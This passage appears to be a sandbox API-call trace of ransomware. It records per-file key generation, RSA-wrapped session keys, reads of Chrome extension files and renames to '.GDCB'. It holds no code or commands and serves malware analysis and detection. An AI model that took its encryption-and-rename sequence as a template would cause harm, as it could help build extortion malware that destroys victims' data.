pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0260.096] GetLastError () returned 0x0 [0260.096] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0260.096] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0260.098] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6792920) returned 1 [0260.099] CryptGetKeyParam (in: hKey=0x6792920, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0260.099] CryptEncrypt (in: hKey=0x6792920, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0260.099] GetLastError () returned 0x0 [0260.099] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0260.099] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0260.100] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0260.103] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0260.105] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x111, lpOverlapped=0x0) returned 1 [0260.126] VirtualAlloc (lpAddress=0x0, dwSize=0x120, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0260.174] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_cn\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_cn\\messages.json.gdcb")) returned 1 [0260.180] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0260.183] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0260.186] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0260.186] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0260.186] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0260.186] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0260.188] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0260.191] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0260.191] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0260.191] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0260.191] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0260.193] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6792fe0) returned 1 [0260.193] CryptGetKeyParam (in: hKey=0x6792fe0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0260.193] CryptEncrypt (in: hKey=0x6792fe0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0260.194] GetLastError () returned 0x0 [0260.194] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0260.194] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0260.196] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6792ca0) returned 1 [0260.196] CryptGetKeyParam (in: hKey=0x6792ca0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0260.196] CryptEncrypt (in: hKey=0x6792ca0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0260.196] GetLastError () returned 0x0 [0260.196] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0260.196] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0260.197] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0260.200] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0260.203] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x10b, lpOverlapped=0x0) returned 1 [0260.211] VirtualAlloc (lpAddress=0x0, dwSize=0x110, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0260.236] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_tw\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_tw\\messages.json.gdcb")) returned 1 [0260.241] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0260.244] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0260.246] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0260.246] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0260.246] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0260.246] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0260.249] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0260.251] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0260.251] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0260.251] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0260.251] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0260.254] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x67911a0) returned 1 [0260.254] CryptGetKeyParam (in: hKey=0x67911a0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0260.254] CryptEncrypt (in: hKey=0x67911a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0260.254] GetLastError () returned 0x0 [0260.254] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0260.254] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0260.256] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6792ce0) returned 1 [0260.256] CryptGetKeyParam (in: hKey=0x6792ce0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0260.256] CryptEncrypt (in: hKey=0x6792ce0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0260.256] GetLastError () returned 0x0 [0260.256] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0260.256] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0260.257] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0260.260] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0260.263] ReadFile (in: hFile=0x424, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285d160*=0x2bd5, lpOverlapped=0x0) returned 1 [0260.271] VirtualAlloc (lpAddress=0x0, dwSize=0x2be0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0260.276] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json.gdcb")) returned 1 [0260.295] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0260.298] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0260.301] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0260.301] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0260.301] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0260.301] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0260.304] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0260.306] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0260.306] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0260.306] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0260.306] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0260.308] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6792a20) returned 1 [0260.308] CryptGetKeyParam (in: hKey=0x6792a20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0260.308] CryptEncrypt (in: hKey=0x6792a20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0260.308] GetLastError () returned 0x0 [0260.308] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0260.309] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0260.310] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6793060) returned 1 [0260.310] CryptGetKeyParam (in: hKey=0x6793060, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0260.310] CryptEncrypt (in: hKey=0x6793060, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0260.310] GetLastError () returned 0x0 [0260.310] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0260.311] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0260.312] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0260.314] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0260.317] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb3, lpOverlapped=0x0) returned 1 [0260.323] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0260.333] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json.gdcb")) returned 1 [0260.339] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0260.342] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0260.344] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0260.345] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0260.345] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0260.346] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0260.348] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0260.350] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0260.350] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0260.350] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0260.350] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0260.353] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67930a0) returned 1 [0260.353] CryptGetKeyParam (in: hKey=0x67930a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0260.353] CryptEncrypt (in: hKey=0x67930a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0260.353] GetLastError () returned 0x0 [0260.353] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0260.353] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0260.355] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67928e0) returned 1 [0260.355] CryptGetKeyParam (in: hKey=0x67928e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0260.355] CryptEncrypt (in: hKey=0x67928e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0260.355] GetLastError () returned 0x0 [0260.355] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0260.355] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0260.356] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0260.359] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0260.362] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb3, lpOverlapped=0x0) returned 1 [0260.369] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0260.377] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json.gdcb")) returned 1 [0261.970] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0261.973] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0261.975] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0261.975] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0261.975] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0261.975] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0261.978] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0261.980] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0261.980] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0261.980] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0261.980] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0261.982] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6792ee0) returned 1 [0261.982] CryptGetKeyParam (in: hKey=0x6792ee0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0261.982] CryptEncrypt (in: 